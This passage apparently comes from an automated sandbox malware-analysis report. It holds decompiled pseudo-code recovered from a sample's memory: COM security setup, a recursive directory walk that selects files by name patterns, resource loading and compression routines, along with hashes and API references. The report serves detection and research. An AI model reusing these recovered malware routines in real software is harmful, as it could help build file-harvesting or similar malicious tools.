								 *_t16 = _v8;
							}
						}
					}
				}
				return _t16;
			}

0x6d7fd572
0x6d7fd575
0x6d7fd578
0x6d7fd589
0x6d7fd58f
0x6d7fd5a0
0x6d7fd5a8
0x6d7fd5f9
0x6d7fd5f9
0x6d7fd5fe
0x6d7fd603
0x6d7fd603
0x6d7fd606
0x6d7fd60b
0x6d7fd610
0x6d7fd610
0x6d7fd613
0x6d7fd5aa
0x6d7fd5ab
0x6d7fd5b1
0x6d7fd5c2
0x6d7fd5c7
0x00000000
0x6d7fd5c9
0x6d7fd5d6
0x6d7fd5de
0x00000000
0x6d7fd5e0
0x6d7fd5e2
0x6d7fd5ea
0x00000000
0x6d7fd5ec
0x6d7fd5ef
0x6d7fd5f5
0x6d7fd5f5
0x6d7fd5ea
0x6d7fd5de
0x6d7fd5c7
0x6d7fd618

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 6D7FD578
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 6D7FD589
CoCreateInstance.OLE32(6D80B848,00000000,00000001,6D80B858,?), ref: 6D7FD5A0
SysAllocString.OLEAUT32(00000000), ref: 6D7FD5AB
CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 6D7FD5D6

Part of subcall function 6D7F85E5: HeapAlloc.KERNEL32(00000008,?,?,6D7F8F65,00000100,?,6D7F5FAC), ref: 6D7F85F3

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocInitialize$BlanketCreateHeapInstanceProxySecurityString
String ID:
API String ID: 2855449287-0
Opcode ID: 45260787304faa80820cd15210def307bc984303bb82591f914a9ed91df8cadb
Instruction ID: 573926a9535c97899b4ccf3dc6bda3c2ab47ee444f37124e4803f948a8afb1db
Opcode Fuzzy Hash: 45260787304faa80820cd15210def307bc984303bb82591f914a9ed91df8cadb
Instruction Fuzzy Hash: 8D211A70600245BBEB249B67CD4DE6BBF7CEFC6B25F00416DB511AB290CB709A41CA71

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FAEF6, Relevance: 3.1, APIs: 2, Instructions: 113
fileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6D7FAEF6(void* __ecx, void* __fp0, intOrPtr _a16) {
				char _v12;
				WCHAR* _v16;
				short _v560;
				short _v562;
				struct _WIN32_FIND_DATAW _v608;
				WCHAR* _t27;
				void* _t31;
				int _t36;
				intOrPtr _t37;
				intOrPtr _t44;
				void* _t48;
				intOrPtr _t49;
				void* _t51;
				intOrPtr _t56;
				void* _t61;
				char _t62;
				void* _t63;
				void* _t64;
				void* _t65;
				void* _t80;

				_t80 = __fp0;
				_push(0);
				_t51 = __ecx;
				_push(L"\\*");
				_t27 = E6D7F92C6(__ecx);
				_t65 = _t64 + 0xc;
				_v16 = _t27;
				if(_t27 == 0) {
					return _t27;
				}
				_t61 = FindFirstFileW(_t27,  &_v608);
				if(_t61 == 0xffffffff) {
					L18:
					return E6D7F85FB( &_v16, 0xfffffffe);
				}
				_t31 = 0x2e;
				do {
					if(_v608.cFileName != _t31 || _v562 != 0 && (_v562 != _t31 || _v560 != 0)) {
						if((_v608.dwFileAttributes & 0x00000010) != 0) {
							L14:
							_push(0);
							_push( &(_v608.cFileName));
							_push("\\");
							_t62 = E6D7F92C6(_t51);
							_t65 = _t65 + 0x10;
							_v12 = _t62;
							if(_t62 != 0) {
								_t56 =  *0x6d80e684; // 0x298faa0
								 *((intOrPtr*)(_t56 + 0xb4))(1);
								_push(1);
								_push(1);
								_push(0);
								E6D7FAEF6(_t62, _t80, 1, 5, E6D7FEFEC, _a16);
								_t65 = _t65 + 0x1c;
								E6D7F85FB( &_v12, 0xfffffffe);
							}
							goto L16;
						}
						_t63 = 0;
						do {
							_t10 = _t63 + 0x6d80e78c; // 0x0
							_push( *_t10);
							_push( &(_v608.cFileName));
							_t44 =  *0x6d80e690; // 0x298fd40
							if( *((intOrPtr*)(_t44 + 0x18))() == 0) {
								goto L12;
							}
							_t48 = E6D7FEFEC(_t80, _t51,  &_v608, _a16);
							_t65 = _t65 + 0xc;
							if(_t48 == 0) {
								break;
							}
							_t49 =  *0x6d80e684; // 0x298faa0
							 *((intOrPtr*)(_t49 + 0xb4))(1);
							L12:
							_t63 = _t63 + 4;
						} while (_t63 < 4);
						if((_v608.dwFileAttributes & 0x00000010) == 0) {
							goto L16;
						}
						goto L14;
					}
					L16:
					_t36 = FindNextFileW(_t61,  &_v608);
					_t31 = 0x2e;
				} while (_t36 != 0);
				_t37 =  *0x6d80e684; // 0x298faa0
				 *((intOrPtr*)(_t37 + 0x78))(_t61);
				goto L18;
			}

0x6d7faef6
0x6d7faf02
0x6d7faf04
0x6d7faf06
0x6d7faf0c
0x6d7faf11
0x6d7faf14
0x6d7faf19
0x6d7fb053
0x6d7fb053
0x6d7faf2d
0x6d7faf32
0x6d7fb042
0x00000000
0x6d7fb04e
0x6d7faf3a
0x6d7faf3b
0x6d7faf42
0x6d7faf71
0x6d7fafc4
0x6d7fafc4
0x6d7fafcc
0x6d7fafcd
0x6d7fafd8
0x6d7fafda
0x6d7fafdd
0x6d7fafe2
0x6d7fafe4
0x6d7fafec
0x6d7faff2
0x6d7faff4
0x6d7faff6
0x6d7fb00b
0x6d7fb010
0x6d7fb019
0x6d7fb01f
0x00000000
0x6d7fafe2
0x6d7faf73
0x6d7faf75
0x6d7faf75
0x6d7faf75
0x6d7faf81
0x6d7faf82
0x6d7faf8c
0x00000000
0x00000000
0x6d7faf99
0x6d7faf9e
0x6d7fafa3
0x00000000
0x00000000
0x6d7fafa5
0x6d7fafac
0x6d7fafb2
0x6d7fafb2
0x6d7fafb5
0x6d7fafc2
0x00000000
0x00000000
0x00000000
0x6d7fafc2
0x6d7fb020
0x6d7fb028
0x6d7fb032
0x6d7fb032
0x6d7fb039
0x6d7fb03f
0x00000000

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 6D7FAF27
FindNextFileW.KERNEL32(00000000,?), ref: 6D7FB028

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$FirstNext
String ID:
API String ID: 1690352074-0
Opcode ID: 7bd6eeb0d9f099ab39f92983fd5500fa2f216d461b0b1fad6b9cbf78c69959c2
Instruction ID: f94f93008b9741e428d4edb6c8d8ca8dfd4fb3d202d9f49c364d7cb65a105c19
Opcode Fuzzy Hash: 7bd6eeb0d9f099ab39f92983fd5500fa2f216d461b0b1fad6b9cbf78c69959c2
Instruction Fuzzy Hash: C131D97190431A6BEB209BA4DE4DFAA77B8DB04720F000165F524D72C1F771E982CB97

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FA55C, Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D7FA55C(struct HINSTANCE__* __ecx, CHAR* __edx, void* __fp0, intOrPtr* _a4) {
				CHAR* _v8;
				struct HRSRC__* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _t15;
				signed int _t17;
				struct HRSRC__* _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr* _t23;
				intOrPtr* _t26;
				struct HINSTANCE__* _t28;
				intOrPtr _t30;
				intOrPtr* _t33;
				signed int _t35;
				intOrPtr _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t43 = __fp0;
				_t29 = __ecx;
				_v8 = __edx;
				_t28 = __ecx;
				_v20 = 0xa;
				_t35 = 0;
				_v16 = 3;
				while(1) {
					_t15 =  *0x6d80e688; // 0x2910590
					_t17 = E6D802465(_t29, 0, _t43, _t15 + 0x648, 0x1e, 0x32);
					_t29 =  *0x6d80e688; // 0x2910590
					_t39 = _t39 + 0xc;
					_t4 = _t29 + 0x644; // 0x0
					_t20 = FindResourceA(_t28, _v8, _t17 *  *_t4 +  *((intOrPtr*)(_t38 + _t35 * 4 - 0x10)));
					_v12 = _t20;
					if(_t20 != 0) {
						break;
					}
					_t35 = _t35 + 1;
					if(_t35 < 2) {
						continue;
					}
					L5:
					return 0;
				}
				_t21 =  *0x6d80e684; // 0x298faa0
				_t22 =  *((intOrPtr*)(_t21 + 0x98))(_t28, _t20);
				_t30 =  *0x6d80e684; // 0x298faa0
				_t37 = _t22;
				_t23 =  *((intOrPtr*)(_t30 + 0x9c))(_t28, _v12);
				__eflags = _t23;
				if(_t23 != 0) {
					_t33 = E6D7F864A(_t23, _t37);
					__eflags = _t33;
					if(_t33 == 0) {
						goto L5;
					}
					_t26 = _a4;
					__eflags = _t26;
					if(_t26 != 0) {
						 *_t26 = _t37;
					}
					return _t33;
				}
				goto L5;
			}

0x6d7fa55c
0x6d7fa55c
0x6d7fa565
0x6d7fa568
0x6d7fa56a
0x6d7fa571
0x6d7fa573
0x6d7fa57a
0x6d7fa57a
0x6d7fa58f
0x6d7fa594
0x6d7fa59a
0x6d7fa59d
0x6d7fa5ad
0x6d7fa5b3
0x6d7fa5b8
0x00000000
0x00000000
0x6d7fa5ba
0x6d7fa5be
0x00000000
0x00000000
0x6d7fa5e5
0x00000000
0x6d7fa5e5
0x6d7fa5c3
0x6d7fa5c9
0x6d7fa5d2
0x6d7fa5d8
0x6d7fa5db
0x6d7fa5e1
0x6d7fa5e3
0x6d7fa5f2
0x6d7fa5f4
0x6d7fa5f6
0x00000000
0x00000000
0x6d7fa5f8
0x6d7fa5fb
0x6d7fa5fd
0x6d7fa5ff
0x6d7fa5ff
0x00000000
0x6d7fa601
0x00000000

APIs

Part of subcall function 6D802465: _ftol2_sse.MSVCRT ref: 6D8024C6

FindResourceA.KERNEL32(6D7F0000,?,0000000A), ref: 6D7FA5AD

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: FindResource_ftol2_sse
String ID:
API String ID: 726351646-0
Opcode ID: b3d5ea2b17ddba6fe13df242f8b9ef93bea136bfbbbaace909abc22c06a634e6
Instruction ID: 15d0f34ea1c44f8f36cace2c1a7641ac074edccc1635d7b0a0f207afc88a0ca7
Opcode Fuzzy Hash: b3d5ea2b17ddba6fe13df242f8b9ef93bea136bfbbbaace909abc22c06a634e6
Instruction Fuzzy Hash: 0C11DD71A04205ABEB118B69DE8AF6A7BBCAF49324F014039F919D7342EB70D901CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6D7F97ED, Relevance: 1.5, APIs: 1, Instructions: 24timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,6D7F5F90), ref: 6D7F97FA

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: 0681570ba8ae76675920f77883b03aff9186ef0aeeb3f841461465fcfb82ec49
Instruction ID: a787fdb085becd3c83529f9e0d4948b060f4888daa6c4dbdfb3d8ab11cb52d71
Opcode Fuzzy Hash: 0681570ba8ae76675920f77883b03aff9186ef0aeeb3f841461465fcfb82ec49
Instruction Fuzzy Hash: 77E04F76D007147FDB10AF689E09BAEBBFDEB84A14F118955AD52B3344E670EA0486D0

Uniqueness

Uniqueness Score: -1.00%

Function 6D806EF0, Relevance: .4, Instructions: 359
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E6D806EF0(intOrPtr _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed short* _v12;
				char _v16;
				signed short _v20;
				unsigned int _v24;
				signed short _v28;
				signed int _t223;
				signed int _t235;
				signed int _t237;
				signed short _t240;
				signed int _t241;
				signed short _t244;
				signed int _t245;
				signed short _t248;
				signed int _t249;
				signed int _t250;
				void* _t254;
				signed char _t259;
				signed int _t275;
				signed int _t289;
				signed int _t308;
				signed short _t316;
				signed int _t321;
				void* _t329;
				signed short _t330;
				signed short _t333;
				signed short _t334;
				signed short _t343;
				signed short _t346;
				signed short _t347;
				signed short _t348;
				signed short _t358;
				signed short _t361;
				signed short _t362;
				signed short _t363;
				signed short _t370;
				signed int _t373;
				signed int _t378;
				signed short _t379;
				signed short _t382;
				unsigned int _t388;
				unsigned short _t390;
				unsigned short _t392;
				unsigned short _t394;
				signed int _t396;
				signed int _t397;
				signed int _t398;
				signed int _t400;
				signed short _t401;
				signed int _t402;
				signed int _t403;
				signed int _t407;
				signed int _t409;

				_t223 = _a8;
				_t235 =  *(_t223 + 2) & 0x0000ffff;
				_push(_t397);
				_t388 = 0;
				_t398 = _t397 | 0xffffffff;
				if(_a12 < 0) {
					L42:
					return _t223;
				} else {
					_t329 =  !=  ? 7 : 0x8a;
					_v12 = _t223 + 6;
					_t254 = (0 | _t235 != 0x00000000) + 3;
					_v16 = _a12 + 1;
					do {
						_v24 = _t388;
						_t388 = _t388 + 1;
						_a8 = _t235;
						_a12 = _t235;
						_v8 =  *_v12 & 0x0000ffff;
						_t223 = _a4;
						if(_t388 >= _t329) {
							L4:
							if(_t388 >= _t254) {
								if(_a8 == 0) {
									_t122 = _t223 + 0x16bc; // 0xec8b55c3
									_t400 =  *_t122;
									if(_t388 > 0xa) {
										_t168 = _t223 + 0xac4; // 0xff0c75ff
										_t330 =  *_t168 & 0x0000ffff;
										_t169 = _t223 + 0xac6; // 0x875ff0c
										_t237 =  *_t169 & 0x0000ffff;
										_v24 = _t330;
										_t171 = _t223 + 0x16b8; // 0x5d5b5e5f
										_t333 = (_t330 << _t400 |  *_t171) & 0x0000ffff;
										_v28 = _t333;
										if(_t400 <= 0x10 - _t237) {
											_t259 = _t400 + _t237;
										} else {
											_t173 = _t223 + 0x14; // 0xc703f045
											 *(_t223 + 0x16b8) = _t333;
											_t175 = _t223 + 8; // 0x8d000040
											 *((char*)( *_t175 +  *_t173)) = _v28;
											_t223 = _a4;
											 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
											_t181 = _t223 + 0x14; // 0xc703f045
											_t182 = _t223 + 8; // 0x8d000040
											_t183 = _t223 + 0x16b9; // 0xc35d5b5e
											 *((char*)( *_t181 +  *_t182)) =  *_t183;
											 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
											_t333 = _v24 >> 0x10;
											_t189 = _t223 + 0x16bc; // 0xec8b55c3
											_t259 =  *_t189 + 0xfffffff0 + _t237;
										}
										_t334 = _t333 & 0x0000ffff;
										 *(_t223 + 0x16bc) = _t259;
										 *(_t223 + 0x16b8) = _t334;
										_t401 = _t334 & 0x0000ffff;
										if(_t259 <= 9) {
											_t209 = _t388 - 0xb; // -10
											 *(_t223 + 0x16b8) = _t209 << _t259 | _t401;
											 *(_t223 + 0x16bc) = _t259 + 7;
										} else {
											_t193 = _t223 + 8; // 0x8d000040
											_t390 = _t388 + 0xfffffff5;
											_t194 = _t223 + 0x14; // 0xc703f045
											_t240 = _t390 << _t259 | _t401;
											 *(_t223 + 0x16b8) = _t240;
											 *( *_t193 +  *_t194) = _t240;
											 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
											_t199 = _t223 + 0x14; // 0xc703f045
											_t200 = _t223 + 8; // 0x8d000040
											_t201 = _t223 + 0x16b9; // 0xc35d5b5e
											 *((char*)( *_t199 +  *_t200)) =  *_t201;
											 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
											 *(_t223 + 0x16bc) =  *(_t223 + 0x16bc) + 0xfffffff7;
											 *(_t223 + 0x16b8) = _t390 >> 0x10;
										}
										goto L35;
									}
									_t123 = _t223 + 0xac0; // 0x6aec8b
									_t343 =  *_t123 & 0x0000ffff;
									_t124 = _t223 + 0xac2; // 0x75ff006a
									_t241 =  *_t124 & 0x0000ffff;
									_v24 = _t343;
									_t126 = _t223 + 0x16b8; // 0x5d5b5e5f
									_t346 = (_t343 << _t400 |  *_t126) & 0x0000ffff;
									_v28 = _t346;
									if(_t400 > 0x10 - _t241) {
										_t128 = _t223 + 0x14; // 0xc703f045
										 *(_t223 + 0x16b8) = _t346;
										_t130 = _t223 + 8; // 0x8d000040
										 *((char*)( *_t130 +  *_t128)) = _v28;
										_t223 = _a4;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t136 = _t223 + 0x14; // 0xc703f045
										_t137 = _t223 + 8; // 0x8d000040
										_t138 = _t223 + 0x16b9; // 0xc35d5b5e
										 *((char*)( *_t136 +  *_t137)) =  *_t138;
										_t142 = _t223 + 0x16bc; // 0xec8b55c3
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t346 = _v24 >> 0x10;
										_t400 =  *_t142 + 0xfffffff0;
									}
									_t403 = _t400 + _t241;
									_t347 = _t346 & 0x0000ffff;
									 *(_t223 + 0x16bc) = _t403;
									 *(_t223 + 0x16b8) = _t347;
									_t348 = _t347 & 0x0000ffff;
									if(_t403 <= 0xd) {
										_t163 = _t403 + 3; // 0xec8b55c6
										_t275 = _t163;
										L28:
										 *(_t223 + 0x16bc) = _t275;
										_t165 = _t388 - 3; // -2
										_t166 = _t223 + 0x16b8; // 0x5d5b5e5f
										 *(_t223 + 0x16b8) = (_t165 << _t403 |  *_t166 & 0x0000ffff) & 0x0000ffff;
									} else {
										_t392 = _t388 + 0xfffffffd;
										_t147 = _t223 + 0x14; // 0xc703f045
										_t244 = _t392 << _t403 | _t348;
										_t148 = _t223 + 8; // 0x8d000040
										 *(_t223 + 0x16b8) = _t244;
										 *( *_t148 +  *_t147) = _t244;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t153 = _t223 + 0x14; // 0xc703f045
										_t154 = _t223 + 8; // 0x8d000040
										_t155 = _t223 + 0x16b9; // 0xc35d5b5e
										 *((char*)( *_t153 +  *_t154)) =  *_t155;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										 *(_t223 + 0x16bc) =  *(_t223 + 0x16bc) + 0xfffffff3;
										 *(_t223 + 0x16b8) = _t392 >> 0x00000010 & 0x0000ffff;
									}
									goto L35;
								}
								_t289 = _a12;
								if(_t289 != _t398) {
									_t53 = _t289 * 4; // 0x5dc033c3
									_t396 =  *(_t223 + _t53 + 0xa7e) & 0x0000ffff;
									_t56 = _t235 * 4; // 0x33c35d0c
									_t370 =  *(_t223 + _t56 + 0xa7c) & 0x0000ffff;
									_t58 = _t223 + 0x16bc; // 0xec8b55c3
									_t407 =  *_t58;
									_v28 = _t370;
									_t60 = _t223 + 0x16b8; // 0x5d5b5e5f
									_t249 = (_t370 << _t407 |  *_t60) & 0x0000ffff;
									if(_t407 <= 0x10 - _t396) {
										_t373 = _t249;
										_t308 = _t407 + _t396;
									} else {
										_t61 = _t223 + 0x14; // 0xc703f045
										_t62 = _t223 + 8; // 0x8d000040
										 *(_t223 + 0x16b8) = _t249;
										 *( *_t62 +  *_t61) = _t249;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t67 = _t223 + 0x14; // 0xc703f045
										_t68 = _t223 + 8; // 0x8d000040
										_t69 = _t223 + 0x16b9; // 0xc35d5b5e
										 *((char*)( *_t67 +  *_t68)) =  *_t69;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t75 = _t223 + 0x16bc; // 0xec8b55c3
										_t373 = _v28 >> 0x00000010 & 0x0000ffff;
										_t308 =  *_t75 + 0xfffffff0 + _t396;
									}
									_t388 = _v24;
									 *(_t223 + 0x16bc) = _t308;
									 *(_t223 + 0x16b8) = _t373;
								}
								_t80 = _t223 + 0xabc; // 0x55c35dc0
								_t358 =  *_t80 & 0x0000ffff;
								_t81 = _t223 + 0x16bc; // 0xec8b55c3
								_t402 =  *_t81;
								_t82 = _t223 + 0xabe; // 0xec8b55c3
								_t245 =  *_t82 & 0x0000ffff;
								_v24 = _t358;
								_t84 = _t223 + 0x16b8; // 0x5d5b5e5f
								_t361 = (_t358 << _t402 |  *_t84) & 0x0000ffff;
								_v28 = _t361;
								if(_t402 > 0x10 - _t245) {
									_t86 = _t223 + 0x14; // 0xc703f045
									 *(_t223 + 0x16b8) = _t361;
									_t88 = _t223 + 8; // 0x8d000040
									 *((char*)( *_t88 +  *_t86)) = _v28;
									_t223 = _a4;
									 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
									_t94 = _t223 + 0x14; // 0xc703f045
									_t95 = _t223 + 8; // 0x8d000040
									_t96 = _t223 + 0x16b9; // 0xc35d5b5e
									 *((char*)( *_t94 +  *_t95)) =  *_t96;
									_t100 = _t223 + 0x16bc; // 0xec8b55c3
									 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
									_t361 = _v24 >> 0x10;
									_t402 =  *_t100 + 0xfffffff0;
								}
								_t403 = _t402 + _t245;
								_t362 = _t361 & 0x0000ffff;
								 *(_t223 + 0x16bc) = _t403;
								 *(_t223 + 0x16b8) = _t362;
								_t363 = _t362 & 0x0000ffff;
								if(_t403 <= 0xe) {
									_t121 = _t403 + 2; // 0xec8b55c5
									_t275 = _t121;
									goto L28;
								} else {
									_t394 = _t388 + 0xfffffffd;
									_t105 = _t223 + 0x14; // 0xc703f045
									_t248 = _t394 << _t403 | _t363;
									_t106 = _t223 + 8; // 0x8d000040
									 *(_t223 + 0x16b8) = _t248;
									 *( *_t106 +  *_t105) = _t248;
									 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
									_t111 = _t223 + 0x14; // 0xc703f045
									_t112 = _t223 + 8; // 0x8d000040
									_t113 = _t223 + 0x16b9; // 0xc35d5b5e
									 *((char*)( *_t111 +  *_t112)) =  *_t113;
									 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
									 *(_t223 + 0x16bc) =  *(_t223 + 0x16bc) + 0xfffffff2;
									 *(_t223 + 0x16b8) = _t394 >> 0x00000010 & 0x0000ffff;
									goto L35;
								}
							} else {
								_t316 = _t223 + (_t235 + 0x29f) * 4;
								_v28 = _t316;
								do {
									_t378 = _a12;
									_t22 = _t223 + 0x16bc; // 0xec8b55c3
									_t409 =  *_t22;
									_t24 = _t378 * 4; // 0x5dc033c3
									_t250 =  *(_t223 + _t24 + 0xa7e) & 0x0000ffff;
									_t379 =  *_t316 & 0x0000ffff;
									_v24 = _t379;
									_t27 = _t223 + 0x16b8; // 0x5d5b5e5f
									_t382 = (_t379 << _t409 |  *_t27) & 0x0000ffff;
									_v20 = _t382;
									if(_t409 <= 0x10 - _t250) {
										_t321 = _t409 + _t250;
									} else {
										_t29 = _t223 + 0x14; // 0xc703f045
										 *(_t223 + 0x16b8) = _t382;
										_t31 = _t223 + 8; // 0x8d000040
										 *((char*)( *_t31 +  *_t29)) = _v20;
										_t223 = _a4;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t37 = _t223 + 0x14; // 0xc703f045
										_t38 = _t223 + 8; // 0x8d000040
										_t39 = _t223 + 0x16b9; // 0xc35d5b5e
										 *((char*)( *_t37 +  *_t38)) =  *_t39;
										 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t223 + 0x14)) + 1;
										_t382 = _v24 >> 0x10;
										_t45 = _t223 + 0x16bc; // 0xec8b55c3
										_t321 =  *_t45 + 0xfffffff0 + _t250;
									}
									 *(_t223 + 0x16bc) = _t321;
									_t316 = _v28;
									 *(_t223 + 0x16b8) = _t382 & 0x0000ffff;
									_t388 = _t388 - 1;
								} while (_t388 != 0);
								L35:
								_t235 = _v8;
								_t388 = 0;
								_t398 = _a12;
								if(_t235 != 0) {
									if(_a8 != _t235) {
										_t329 = 7;
										_t217 = _t329 - 3; // 0x4
										_t254 = _t217;
									} else {
										_t329 = 6;
										_t216 = _t329 - 3; // 0x3
										_t254 = _t216;
									}
								} else {
									_t329 = 0x8a;
									_t214 = _t388 + 3; // 0x3
									_t254 = _t214;
								}
								goto L41;
							}
						}
						_t223 = _a4;
						if(_t235 == _v8) {
							_t235 = _v8;
							goto L41;
						}
						goto L4;
						L41:
						_v12 =  &(_v12[2]);
						_t221 =  &_v16;
						 *_t221 = _v16 - 1;
					} while ( *_t221 != 0);
					goto L42;
				}
			}

0x6d806ef3
0x6d806efa
0x6d806efe
0x6d806f00
0x6d806f02
0x6d806f08
0x6d8073f5
0x6d8073fb
0x6d806f0e
0x6d806f1a
0x6d806f27
0x6d806f2a
0x6d806f31
0x6d806f34
0x6d806f37
0x6d806f3a
0x6d806f3b
0x6d806f3e
0x6d806f44
0x6d806f47
0x6d806f4c
0x6d806f5c
0x6d806f5e
0x6d807014
0x6d8071a3
0x6d8071a3
0x6d8071ac
0x6d8072bf
0x6d8072bf
0x6d8072c6
0x6d8072c6
0x6d8072cf
0x6d8072dc
0x6d8072e5
0x6d8072e8
0x6d8072ed
0x6d807335
0x6d8072ef
0x6d8072ef
0x6d8072f2
0x6d8072f9
0x6d8072ff
0x6d807302
0x6d807305
0x6d807308
0x6d80730b
0x6d80730e
0x6d807314
0x6d807322
0x6d807325
0x6d807328
0x6d807331
0x6d807331
0x6d807338
0x6d80733b
0x6d807341
0x6d807348
0x6d80734e
0x6d80739c
0x6d8073a8
0x6d8073af
0x6d807350
0x6d807350
0x6d807353
0x6d80735c
0x6d80735f
0x6d807362
0x6d807369
0x6d80736c
0x6d80736f
0x6d807372
0x6d807375
0x6d80737b
0x6d807386
0x6d80738c
0x6d807393
0x6d807393
0x00000000
0x6d80734e
0x6d8071b2
0x6d8071b2
0x6d8071b9
0x6d8071b9
0x6d8071c2
0x6d8071cf
0x6d8071d8
0x6d8071db
0x6d8071e0
0x6d8071e2
0x6d8071e5
0x6d8071ec
0x6d8071f2
0x6d8071f5
0x6d8071f8
0x6d8071fb
0x6d8071fe
0x6d807201
0x6d807207
0x6d807215
0x6d80721b
0x6d80721e
0x6d807221
0x6d807221
0x6d807224
0x6d807226
0x6d807229
0x6d80722f
0x6d807236
0x6d80723c
0x6d807295
0x6d807295
0x6d807298
0x6d807298
0x6d80729e
0x6d8072a6
0x6d8072b3
0x6d80723e
0x6d80723e
0x6d807249
0x6d80724c
0x6d80724f
0x6d807252
0x6d807259
0x6d80725c
0x6d80725f
0x6d807262
0x6d807265
0x6d80726b
0x6d807277
0x6d80727c
0x6d807289
0x6d807289
0x00000000
0x6d80723c
0x6d80701a
0x6d80701f
0x6d807025
0x6d807025
0x6d80702d
0x6d80702d
0x6d807035
0x6d807035
0x6d80703d
0x6d80704a
0x6d807053
0x6d807058
0x6d80709d
0x6d80709f
0x6d80705a
0x6d80705a
0x6d80705d
0x6d807060
0x6d807067
0x6d80706a
0x6d80706d
0x6d807070
0x6d807073
0x6d807079
0x6d807087
0x6d80708d
0x6d807096
0x6d807099
0x6d807099
0x6d8070a2
0x6d8070a5
0x6d8070ab
0x6d8070ab
0x6d8070b2
0x6d8070b2
0x6d8070b9
0x6d8070b9
0x6d8070c1
0x6d8070c1
0x6d8070c8
0x6d8070d5
0x6d8070de
0x6d8070e1
0x6d8070e6
0x6d8070e8
0x6d8070eb
0x6d8070f2
0x6d8070f8
0x6d8070fb
0x6d8070fe
0x6d807101
0x6d807104
0x6d807107
0x6d80710d
0x6d80711b
0x6d807121
0x6d807124
0x6d807127
0x6d807127
0x6d80712a
0x6d80712c
0x6d80712f
0x6d807135
0x6d80713c
0x6d807142
0x6d80719b
0x6d80719b
0x00000000
0x6d807144
0x6d807144
0x6d80714f
0x6d807152
0x6d807155
0x6d807158
0x6d80715f
0x6d807162
0x6d807165
0x6d807168
0x6d80716b
0x6d807171
0x6d80717d
0x6d807182
0x6d80718f
0x00000000
0x6d80718f
0x6d806f64
0x6d806f6a
0x6d806f6d
0x6d806f70
0x6d806f70
0x6d806f73
0x6d806f73
0x6d806f79
0x6d806f79
0x6d806f81
0x6d806f86
0x6d806f93
0x6d806f9c
0x6d806f9f
